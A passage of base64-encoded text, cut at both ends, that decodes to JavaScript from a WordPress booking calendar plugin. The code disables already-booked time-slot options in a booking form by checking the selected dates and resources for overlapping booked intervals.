JtX2RpdlwiICkudHJpZ2dlciggXCJkYXRlX3NlbGVjdGVkXCIsIFsgcmVzb3VyY2VfaWQsIG1vdXNlX2NsaWNrZWRfZGF0ZXMsIGFsbF9zZWxlY3RlZF9kYXRlc19hcnIgXSApO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIC0tICBUIGkgbSBlICAgIEYgaSBlIGwgZCBzICAgICBzdGFydCAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQgKi9cclxuXHJcblx0LyoqXHJcblx0ICogRGlzYWJsZSB0aW1lIHNsb3RzIGluIGJvb2tpbmcgZm9ybSBkZXBlbmQgb24gc2VsZWN0ZWQgZGF0ZXMgYW5kIGJvb2tlZCBkYXRlcy90aW1lc1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19kaXNhYmxlX3RpbWVfZmllbGRzX2luX2Jvb2tpbmdfZm9ybSggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0XHQvKipcclxuXHRcdCAqIFx0MS4gR2V0IGFsbCB0aW1lIGZpZWxkcyBpbiB0aGUgYm9va2luZyBmb3JtIGFzIGFycmF5ICBvZiBvYmplY3RzXHJcblx0XHQgKiBcdFx0XHRcdFx0W1xyXG5cdFx0ICogXHRcdFx0XHRcdCBcdCAgIHtcdGpxdWVyeV9vcHRpb246ICAgICAgalF1ZXJ5X09iamVjdCB7fVxyXG5cdFx0ICogXHRcdFx0XHRcdFx0XHRcdG5hbWU6ICAgICAgICAgICAgICAgJ3JhbmdldGltZTJbXSdcclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHR0aW1lc19hc19zZWNvbmRzOiAgIFsgMjE2MDAsIDIzNDAwIF1cclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHR2YWx1ZV9vcHRpb25fMjRoOiAgICcwNjowMCAtIDA2OjMwJ1xyXG5cdFx0ICogXHRcdFx0XHRcdCAgICAgfVxyXG5cdFx0ICogXHRcdFx0XHRcdCAgLi4uXHJcblx0XHQgKiBcdFx0XHRcdFx0XHQgICB7XHRqcXVlcnlfb3B0aW9uOiAgICAgIGpRdWVyeV9PYmplY3Qge31cclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdzdGFydHRpbWUyW10nXHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kczogICBbIDIxNjAwIF1cclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHR2YWx1ZV9vcHRpb25fMjRoOiAgICcwNjowMCdcclxuXHRcdCAqICBcdFx0XHRcdFx0ICAgIH1cclxuXHRcdCAqIFx0XHRcdFx0XHQgXVxyXG5cdFx0ICovXHJcblx0XHR2YXIgdGltZV9maWVsZHNfb2JqX2FyciA9IHdwYmNfZ2V0X190aW1lX2ZpZWxkc19faW5fYm9va2luZ19mb3JtX19hc19hcnIoIHJlc291cmNlX2lkICk7XHJcblxyXG5cdFx0Ly8gMi4gR2V0IGFsbCBzZWxlY3RlZCBkYXRlcyBpbiAgU1FMIGZvcm1hdCAgbGlrZSB0aGlzIFsgXCIyMDIzLTA4LTIzXCIsIFwiMjAyMy0wOC0yNFwiLCBcIjIwMjMtMDgtMjVcIiwgLi4uIF1cclxuXHRcdHZhciBzZWxlY3RlZF9kYXRlc19hcnIgPSB3cGJjX2dldF9fc2VsZWN0ZWRfZGF0ZXNfc3FsX19hc19hcnIoIHJlc291cmNlX2lkICk7XHJcblxyXG5cdFx0Ly8gMy4gR2V0IGNoaWxkIGJvb2tpbmcgcmVzb3VyY2VzICBvciBzaW5nbGUgYm9va2luZyByZXNvdXJjZSAgdGhhdCAgZXhpc3QgIGluIGRhdGVzXHJcblx0XHR2YXIgY2hpbGRfcmVzb3VyY2VzX2FyciA9IHdwYmNfY2xvbmVfb2JqKCBfd3BiYy5ib29raW5nX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAncmVzb3VyY2VzX2lkX2Fycl9faW5fZGF0ZXMnICkgKTtcclxuXHJcblx0XHR2YXIgc3FsX2RhdGU7XHJcblx0XHR2YXIgY2hpbGRfcmVzb3VyY2VfaWQ7XHJcblx0XHR2YXIgbWVyZ2VkX3NlY29uZHM7XHJcblx0XHR2YXIgdGltZV9maWVsZHNfb2JqO1xyXG5cdFx0dmFyIGlzX2ludGVyc2VjdDtcclxuXHRcdHZhciBpc19jaGVja19pbjtcclxuXHJcblx0XHQvLyA0LiBMb29wICBhbGwgIHRpbWUgRmllbGRzIG9wdGlvbnNcdFx0Ly9GaXhJbjogMTAuMy4wLjJcclxuXHRcdGZvciAoIGxldCBmaWVsZF9rZXkgPSAwOyBmaWVsZF9rZXkgPCB0aW1lX2ZpZWxkc19vYmpfYXJyLmxlbmd0aDsgZmllbGRfa2V5KysgKXtcclxuXHJcblx0XHRcdHRpbWVfZmllbGRzX29ial9hcnJbIGZpZWxkX2tleSBdLmRpc2FibGVkID0gMDsgICAgICAgICAgLy8gQnkgZGVmYXVsdCwgdGhpcyB0aW1lIGZpZWxkIGlzIG5vdCBkaXNhYmxlZFxyXG5cclxuXHRcdFx0dGltZV9maWVsZHNfb2JqID0gdGltZV9maWVsZHNfb2JqX2FyclsgZmllbGRfa2V5IF07XHRcdC8vIHsgdGltZXNfYXNfc2Vjb25kczogWyAyMTYwMCwgMjM0MDAgXSwgdmFsdWVfb3B0aW9uXzI0aDogJzA2OjAwIC0gMDY6MzAnLCBuYW1lOiAncmFuZ2V0aW1lMltdJywganF1ZXJ5X29wdGlvbjogalF1ZXJ5X09iamVjdCB7fX1cclxuXHJcblx0XHRcdC8vIExvb3AgIGFsbCAgc2VsZWN0ZWQgZGF0ZXNcclxuXHRcdFx0Zm9yICggdmFyIGkgPSAwOyBpIDwgc2VsZWN0ZWRfZGF0ZXNfYXJyLmxlbmd0aDsgaSsrICl7XHJcblxyXG5cdFx0XHRcdC8vRml4SW46IDkuOS4wLjMxXHJcblx0XHRcdFx0aWYgKFxyXG5cdFx0XHRcdFx0ICAgKCAnT2ZmJyA9PT0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdib29raW5nX3JlY3VycmVudF90aW1lJyApIClcclxuXHRcdFx0XHRcdCYmICggc2VsZWN0ZWRfZGF0ZXNfYXJyLmxlbmd0aD4xIClcclxuXHRcdFx0XHQpe1xyXG5cdFx0XHRcdFx0Ly9UT0RPOiBza2lwIHNvbWUgZmllbGRzIGNoZWNraW5nIGlmIGl0J3Mgc3RhcnQgLyBlbmQgdGltZSBmb3IgbXVscGxlIGRhdGVzICBzZWxlY3Rpb24gIG1vZGUuXHJcblx0XHRcdFx0XHQvL1RPRE86IHdlIG5lZWQgdG8gZml4IHNpdHVhdGlvbiAgZm9yIGVudGltZXMsICB3aGVuICB1c2VyICBzZWxlY3QgIHNldmVyYWwgIGRhdGVzLCAgYW5kIGluIHN0YXJ0ICB0aW1lIGJvb2tlZCAwMDowMCAtIDE1OjAwICwgYnV0IHN5c3RzbWUgYmxvY2sgdW50aWxsIDE1OjAwIHRoZSBlbmQgdGltZSBhcyB3ZWxsLCAgd2hpY2ggIGlzIHdyb25nLCAgYmVjYXVzZSBpdCAyIG9yIDMgZGF0ZXMgc2VsZWN0aW9uICBhbmQgZW5kIGRhdGUgY2FuIGJlIGZ1bGx1ICBhdmFpbGFibGVcclxuXHJcblx0XHRcdFx0XHRpZiAoICgwID09IGkpICYmICh0aW1lX2ZpZWxkc19vYmpbICduYW1lJyBdLmluZGV4T2YoICdlbmR0aW1lJyApID49IDApICl7XHJcblx0XHRcdFx0XHRcdGJyZWFrO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0aWYgKCAoIChzZWxlY3RlZF9kYXRlc19hcnIubGVuZ3RoLTEpID09IGkgKSAmJiAodGltZV9maWVsZHNfb2JqWyAnbmFtZScgXS5pbmRleE9mKCAnc3RhcnR0aW1lJyApID49IDApICl7XHJcblx0XHRcdFx0XHRcdGJyZWFrO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0Ly8gR2V0IERhdGU6ICcyMDIzLTA4LTE4J1xyXG5cdFx0XHRcdHNxbF9kYXRlID0gc2VsZWN0ZWRfZGF0ZXNfYXJyWyBpIF07XHJcblxyXG5cclxuXHRcdFx0XHR2YXIgaG93X21hbnlfcmVzb3VyY2VzX2ludGVyc2VjdGVkID0gMDtcclxuXHRcdFx0XHQvLyBMb29wIGFsbCByZXNvdXJjZXMgSURcclxuXHRcdFx0XHRcdC8vIGZvciAoIHZhciByZXNfa2V5IGluIGNoaWxkX3Jlc291cmNlc19hcnIgKXtcdCBcdFx0XHRcdFx0XHQvL0ZpeEluOiAxMC4zLjAuMlxyXG5cdFx0XHRcdGZvciAoIGxldCByZXNfa2V5ID0gMDsgcmVzX2tleSA8IGNoaWxkX3Jlc291cmNlc19hcnIubGVuZ3RoOyByZXNfa2V5KysgKXtcclxuXHJcblx0XHRcdFx0XHRjaGlsZF9yZXNvdXJjZV9pZCA9IGNoaWxkX3Jlc291cmNlc19hcnJbIHJlc19rZXkgXTtcclxuXHJcblx0XHRcdFx0XHQvLyBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKVsxMl0uYm9va2VkX3RpbWVfc2xvdHMubWVyZ2VkX3NlY29uZHNcdFx0PSBbIFwiMDc6MDA6MTEgLSAwNzozMDowMlwiLCBcIjEwOjAwOjExIC0gMDA6MDA6MDBcIiBdXHJcblx0XHRcdFx0XHQvLyBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKVsyXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfc2Vjb25kc1x0XHRcdD0gWyAgWyAyNTIxMSwgMjcwMDIgXSwgWyAzNjAxMSwgODY0MDAgXSAgXVxyXG5cclxuXHRcdFx0XHRcdGlmICggZmFsc2UgIT09IF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoIHJlc291cmNlX2lkLCBzcWxfZGF0ZSApICl7XHJcblx0XHRcdFx0XHRcdG1lcmdlZF9zZWNvbmRzID0gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSggcmVzb3VyY2VfaWQsIHNxbF9kYXRlIClbIGNoaWxkX3Jlc291cmNlX2lkIF0uYm9va2VkX3RpbWVfc2xvdHMubWVyZ2VkX3NlY29uZHM7XHRcdC8vIFsgIFsgMjUyMTEsIDI3MDAyIF0sIFsgMzYwMTEsIDg2NDAwIF0gIF1cclxuXHRcdFx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0XHRcdG1lcmdlZF9zZWNvbmRzID0gW107XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRpZiAoIHRpbWVfZmllbGRzX29iai50aW1lc19hc19zZWNvbmRzLmxlbmd0aCA+IDEgKXtcclxuXHRcdFx0XHRcdFx0aXNfaW50ZXJzZWN0ID0gd3BiY19pc19pbnRlcnNlY3RfX3JhbmdlX3RpbWVfaW50ZXJ2YWwoICBbXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQoIHBhcnNlSW50KCB0aW1lX2ZpZWxkc19vYmoudGltZXNfYXNfc2Vjb25kc1swXSApICsgMjAgKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQoIHBhcnNlSW50KCB0aW1lX2ZpZWxkc19vYmoudGltZXNfYXNfc2Vjb25kc1sxXSApIC0gMjAgKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRdXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRdXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQsIG1lcmdlZF9zZWNvbmRzICk7XHJcblx0XHRcdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdFx0XHRpc19jaGVja19pbiA9ICgtMSAhPT0gdGltZV9maWVsZHNfb2JqLm5hbWUuaW5kZXhPZiggJ3N0YXJ0JyApKTtcclxuXHRcdFx0XHRcdFx0aXNfaW50ZXJzZWN0ID0gd3BiY19pc19pbnRlcnNlY3RfX29uZV90aW1lX2ludGVydmFsKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KCAoIGlzX2NoZWNrX2luIClcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgPyBwYXJzZUludCggdGltZV9maWVsZHNfb2JqLnRpbWVzX2FzX3NlY29uZHMgKSArIDIwXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIDogcGFyc2VJbnQoIHRpbWVfZmllbGRzX29iai50aW1lc19hc19zZWNvbmRzICkgLSAyMFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0LCBtZXJnZWRfc2Vjb25kcyApO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0aWYgKGlzX2ludGVyc2VjdCl7XHJcblx0XHRcdFx0XHRcdGhvd19tYW55X3Jlc291cmNlc19pbnRlcnNlY3RlZCsrO1x0XHRcdC8vIEluY3JlYXNlXHJcblx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0aWYgKCBjaGlsZF9yZXNvdXJjZXNfYXJyLmxlbmd0aCA9PSBob3dfbWFueV9yZXNvdXJjZXNfaW50ZXJzZWN0ZWQgKSB7XHJcblx0XHRcdFx0XHQvLyBBbGwgcmVzb3VyY2VzIGludGVyc2VjdGVkLCAgdGhlbiAgaXQncyBtZWFucyB0aGF0IHRoaXMgdGltZS1zbG90IG9yIHRpbWUgbXVzdCAgYmUgIERpc2FibGVkLCBhbmQgd2UgY2FuICBleGlzdCAgZnJvbSAgIHNlbGVjdGVkX2RhdGVzX2FyciBMT09QXHJcblxyXG5cdFx0XHRcdFx0dGltZV9maWVsZHNfb2JqX2FyclsgZmllbGRfa2V5IF0uZGlzYWJsZWQgPSAxO1xyXG5cdFx0XHRcdFx0YnJlYWs7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIGV4aXN0ICBmcm9tICAgRGF0ZXMgTE9PUFxyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHJcblx0XHQvLyA1LiBOb3cgd2UgY2FuIGRpc2FibGUgdGltZSBzbG90IGluIEhUTUwgYnkgIHVzaW5nICAoIGZpZWxkLmRpc2FibGVkID09IDEgKSBwcm9wZXJ0eVxyXG5cdFx0d3BiY19faHRtbF9fdGltZV9maWVsZF9vcHRpb25zX19zZXRfZGlzYWJsZWQoIHRpbWVfZmllbGRzX29ial9hcnIgKTtcclxuXHJcblx0XHRqUXVlcnkoIFwiLmJvb2tpbmdfZm9ybV9kaXZcIiApLnRyaWdnZXIoICd3cGJjX2hvb2tfdGltZXNsb3RzX2Rpc2FibGVkJywgW3Jlc291cmNlX2lkLCBzZWxlY3RlZF9kYXRlc19hcnJdICk7XHRcdFx0XHRcdC8vIFRyaWdnZXIgaG9vayBvbiBkaXNhYmxpbmcgdGltZXNsb3RzLlx0XHRVc2FnZTogXHRqUXVlcnkoIFwiLmJvb2tpbmdfZm9ybV9kaXZcIiApLm9uKCAnd3BiY19ob29rX3RpbWVzbG90c19kaXNhYmxlZCcsIGZ1bmN0aW9uICggZXZlbnQsIGJrX3R5cGUsIGFsbF9kYXRlcyApeyAuLi4gfSApO1x0XHQvL0ZpeEluOiA4LjcuMTEuOVxyXG5cdH1cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIElzIG51bWJlciBpbnNpZGUgL2ludGVyc2VjdCAgb2YgYXJyYXkgb2YgaW50ZXJ2YWxzID9cclxuXHRcdCAqXHJcblx0XHQgKiBAcGFyYW0gdGltZV9BXHRcdCAgICAgXHQtIDI1ODAwXHJcblx0XHQgKiBAcGFyYW0gdGltZV9pbnRlcnZhbF9CXHRcdC0gWyAgWyAyNTIxMSwgMjcwMDIgXSwgWyAzNjAxMSwgODY0MDAgXSAgXVxyXG5cdFx0ICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0XHQgKi9cclxuXHRcdGZ1bmN0aW9uIHdwYmNfaXNfaW50ZXJzZWN0X19vbmVfdGltZV9pbnRlcnZhbCggdGltZV9BLCB0aW1lX2ludGVydmFsX0IgKXtcclxuXHJcblx0XHRcdGZvciAoIHZhciBqID0gMDsgaiA8IHRpbWVfaW50ZXJ2YWxfQi5sZW5ndGg7IGorKyApe1xyXG5cclxuXHRcdFx0XHRpZiAoIChwYXJzZUludCggdGltZV9BICkgPiBwYXJzZUludCggdGltZV9pbnRlcnZhbF9CWyBqIF1bIDAgXSApKSAmJiAocGFyc2VJbnQoIHRpbWVfQSApIDwgcGFyc2VJbnQoIHRpbWVfaW50ZXJ2YWxfQlsgaiBdWyAxIF0gKSkgKXtcclxuXHRcdFx0XHRcdHJldHVybiB0cnVlXHJcblx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHQvLyBpZiAoICggcGFyc2VJbnQoIHRpbWVfQSApID09IHBhcnNlSW50KCB0aW1lX2ludGVydmFsX0JbIGogXVsgMCBdICkgKSB8fCAoIHBhcnNlSW50KCB0aW1lX0EgKSA9PSBwYXJzZUludCggdGltZV9pbnRlcnZhbF9CWyBqIF1bIDEgXSApICkgKSB7XHJcblx0XHRcdFx0Ly8gXHRcdFx0Ly8gVGltZSBBIGp1c3QgIGF0ICB0aGUgYm9yZGVyIG9mIGludGVydmFsXHJcblx0XHRcdFx0Ly8gfVxyXG5cdFx0XHR9XHJcblxyXG5cdFx0ICAgIHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIElzIHRoZXNlIGFycmF5IG9mIGludGVydmFscyBpbnRlcnNlY3RlZCA/XHJcblx0XHQgKlxyXG5cdFx0ICogQHBhcmFtIHRpbWVfaW50ZXJ2YWxfQVx0XHQtIFsgWyAyMTYwMCwgMjM0MDAgXSBdXHJcblx0XHQgKiBAcGFyYW0gdGltZV9pbnRlcnZhbF9CXHRcdC0gWyAgWyAyNTIxMSwgMjcwMDIgXSwgWyAzNjAxMSwgODY0MDAgXSAgXVxyXG5cdFx0ICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0XHQgKi9cclxuXHRcdGZ1bmN0aW9uIHdwYmNfaXNfaW50ZXJzZWN0X19yYW5nZV90aW1lX2ludGVydmFsKCB0aW1lX2ludGVydmFsX0EsIHRpbWVfaW50ZXJ2YWxfQiApe1xyXG5cclxuXHRcdFx0dmFyIGlzX2ludGVyc2VjdDtcclxuXHJcblx0XHRcdGZvciAoIHZhciBpID0gMDsgaSA8IHRpbWVfaW50ZXJ2YWxfQS5sZW5ndGg7IGkrKyApe1xyXG5cclxuXHRcdFx0XHRmb3IgKCB2YXIgaiA9IDA7IGogPCB0aW1lX2ludGVydmFsX0IubGVuZ3RoOyBqKysgKXtcclxuXHJcblx0XHRcdFx0XHRpc19pbnRlcnNlY3QgPSB3cGJjX2ludGVydmFsc19faXNfaW50ZXJzZWN0ZWQoIHRpbWVfaW50ZXJ2YWxfQVsgaSBdLCB0aW1lX2ludGVydmFsX0JbIGogXSApO1xyXG5cclxuXHRcdFx0XHRcdGlmICggaXNfaW50ZXJzZWN0ICl7XHJcblx0XHRcdFx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8qKlxyXG5cdFx0ICogR2V0IGFsbCB0aW1lIGZpZWxkcyBpbiB0aGUgYm9va2luZyBmb3JtIGFzIGFycmF5ICBvZiBvYmplY3RzXHJcblx0XHQgKlxyXG5cdFx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0XHQgKiBAcmV0dXJucyBbXVxyXG5cdFx0ICpcclxuXHRcdCAqIFx0XHRFeGFtcGxlOlxyXG5cdFx0ICogXHRcdFx0XHRcdFtcclxuXHRcdCAqIFx0XHRcdFx0XHQgXHQgICB7XHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAgLSAwNjozMCdcclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHR0aW1lc19hc19zZWNvbmRzOiAgIFsgMjE2MDAsIDIzNDAwIF1cclxuXHRcdCAqIFx0XHRcdFx0XHQgXHQgICBcdFx0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0bmFtZTogICAgICAgICAgICAgICAncmFuZ2V0aW1lMltdJ1xyXG5cdFx0ICogXHRcdFx0XHRcdCAgICAgfVxyXG5cdFx0ICogXHRcdFx0XHRcdCAgLi4uXHJcblx0XHQgKiBcdFx0XHRcdFx0XHQgICB7XHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAnXHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kczogICBbIDIxNjAwIF1cclxuXHRcdCAqIFx0XHRcdFx0XHRcdCAgIFx0XHRqcXVlcnlfb3B0aW9uOiAgICAgIGpRdWVyeV9PYmplY3Qge31cclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdzdGFydHRpbWUyW10nXHJcblx0XHQgKiAgXHRcdFx0XHRcdCAgICB9XHJcblx0XHQgKiBcdFx0XHRcdFx0IF1cclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19nZXRfX3RpbWVfZmllbGRzX19pbl9ib29raW5nX2Zvcm1fX2FzX2FyciggcmVzb3VyY2VfaWQgKXtcclxuXHRcdCAgICAvKipcclxuXHRcdFx0ICogRmllbGRzIHdpdGggIFtdICBsaWtlIHRoaXMgICBzZWxlY3RbbmFtZT1cInJhbmdldGltZTFbXVwiXVxyXG5cdFx0XHQgKiBpdCdzIHdoZW4gd2UgaGF2ZSAnbXVsdGlwbGUnIGluIHNob3J0Y29kZTogICBbc2VsZWN0KiByYW5nZXRpbWUgbXVsdGlwbGUgIFwiMDY6MDAgLSAwNjozMFwiIC4uLiBdXHJcblx0XHRcdCAqL1xyXG5cdFx0XHR2YXIgdGltZV9maWVsZHNfYXJyPVtcclxuXHRcdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwicmFuZ2V0aW1lJyArIHJlc291cmNlX2lkICsgJ1wiXScsXHJcblx0XHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInJhbmdldGltZScgKyByZXNvdXJjZV9pZCArICdbXVwiXScsXHJcblx0XHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInN0YXJ0dGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJzdGFydHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnW11cIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJlbmR0aW1lJyArIHJlc291cmNlX2lkICsgJ1wiXScsXHJcblx0XHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cImVuZHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnW11cIl0nXHJcblx0XHRcdFx0XHRcdFx0XHRdO1xyXG5cclxuXHRcdFx0dmFyIHRpbWVfZmllbGRzX29ial9hcnIgPSBbXTtcclxuXHJcblx0XHRcdC8vIExvb3AgYWxsIFRpbWUgRmllbGRzXHJcblx0XHRcdGZvciAoIHZhciBjdGY9IDA7IGN0ZiA8IHRpbWVfZmllbGRzX2Fyci5sZW5ndGg7IGN0ZisrICl7XHJcblxyXG5cdFx0XHRcdHZhciB0aW1lX2ZpZWxkID0gdGltZV9maWVsZHNfYXJyWyBjdGYgXTtcclxuXHRcdFx0XHR2YXIgdGltZV9vcHRpb24gPSBqUXVlcnkoIHRpbWVfZmllbGQgKyAnIG9wdGlvbicgKTtcclxuXHJcblx0XHRcdFx0Ly8gTG9vcCBhbGwgb3B0aW9ucyBpbiB0aW1lIGZpZWxkXHJcblx0XHRcdFx0Zm9yICggdmFyIGogPSAwOyBqIDwgdGltZV9vcHRpb24ubGVuZ3RoOyBqKysgKXtcclxuXHJcblx0XHRcdFx0XHR2YXIganF1ZXJ5X29wdGlvbiA9IGpRdWVyeSggdGltZV9maWVsZCArICcgb3B0aW9uOmVxKCcgKyBqICsgJyknICk7XHJcblx0XHRcdFx0XHR2YXIgdmFsdWVfb3B0aW9uX3NlY29uZHNfYXJyID0ganF1ZXJ5X29wdGlvbi52YWwoKS5zcGxpdCggJy0nICk7XHJcblx0XHRcdFx0XHR2YXIgdGltZXNfYXNfc2Vjb25kcyA9IFtdO1xyXG5cclxuXHRcdFx0XHRcdC8vIEdldCB0aW1lIGFzIHNlY29uZHNcclxuXHRcdFx0XHRcdGlmICggdmFsdWVfb3B0aW9uX3NlY29uZHNfYXJyLmxlbmd0aCApe1x0XHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDkuOC4xMC4xXHJcblx0XHRcdFx0XHRcdGZvciAoIGxldCBpID0gMDsgaSA8IHZhbHVlX29wdGlvbl9zZWNvbmRzX2Fyci5sZW5ndGg7IGkrKyApe1x0XHQvL0ZpeEluOiAxMC4wLjAuNTZcclxuXHRcdFx0XHRcdFx0XHQvLyB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnJbaV0gPSAnMTQ6MDAgJyAgfCAnIDE2OjAwJyAgIChpZiBmcm9tICdyYW5nZXRpbWUnKSBhbmQgJzE2OjAwJyAgaWYgKHN0YXJ0L2VuZCB0aW1lKVxyXG5cclxuXHRcdFx0XHRcdFx0XHR2YXIgc3RhcnRfZW5kX3RpbWVzX2FyciA9IHZhbHVlX29wdGlvbl9zZWNvbmRzX2FyclsgaSBdLnRyaW0oKS5zcGxpdCggJzonICk7XHJcblxyXG5cdFx0XHRcdFx0XHRcdHZhciB0aW1lX2luX3NlY29uZHMgPSBwYXJzZUludCggc3RhcnRfZW5kX3RpbWVzX2FyclsgMCBdICkgKiA2MCAqIDYwICsgcGFyc2VJbnQoIHN0YXJ0X2VuZF90aW1lc19hcnJbIDEgXSApICogNjA7XHJcblxyXG5cdFx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHMucHVzaCggdGltZV9pbl9zZWNvbmRzICk7XHJcblx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHR0aW1lX2ZpZWxkc19vYmpfYXJyLnB1c2goIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J25hbWUnICAgICAgICAgICAgOiBqUXVlcnkoIHRpbWVfZmllbGQgKS5hdHRyKCAnbmFtZScgKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3ZhbHVlX29wdGlvbl8yNGgnOiBqcXVlcnlfb3B0aW9uLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnanF1ZXJ5X29wdGlvbicgICA6IGpxdWVyeV9vcHRpb24sXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0aW1lc19hc19zZWNvbmRzJzogdGltZXNfYXNfc2Vjb25kc1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0cmV0dXJuIHRpbWVfZmllbGRzX29ial9hcnI7XHJcblx0XHR9XHJcblxyXG5cdFx0XHQvKipcclxuXHRcdFx0ICogRGlzYWJsZSBIVE1MIG9wdGlvbnMgYW5kIGFkZCBib29rZWQgQ1NTIGNsYXNzXHJcblx0XHRcdCAqXHJcblx0XHRcdCAqIEBwYXJhbSB0aW1lX2ZpZWxkc19vYmpfYXJyICAgICAgLSB0aGlzIHZhbHVlIGlzIGZyb20gIHRoZSBmdW5jOiAgXHR3cGJjX2dldF9fdGltZV9maWVsZHNfX2luX2Jvb2tpbmdfZm9ybV9fYXNfYXJyKCByZXNvdXJjZV9pZCApXHJcblx0XHRcdCAqIFx0XHRcdFx0XHRbXHJcblx0XHRcdCAqIFx0XHRcdFx0XHQgXHQgICB7XHRqcXVlcn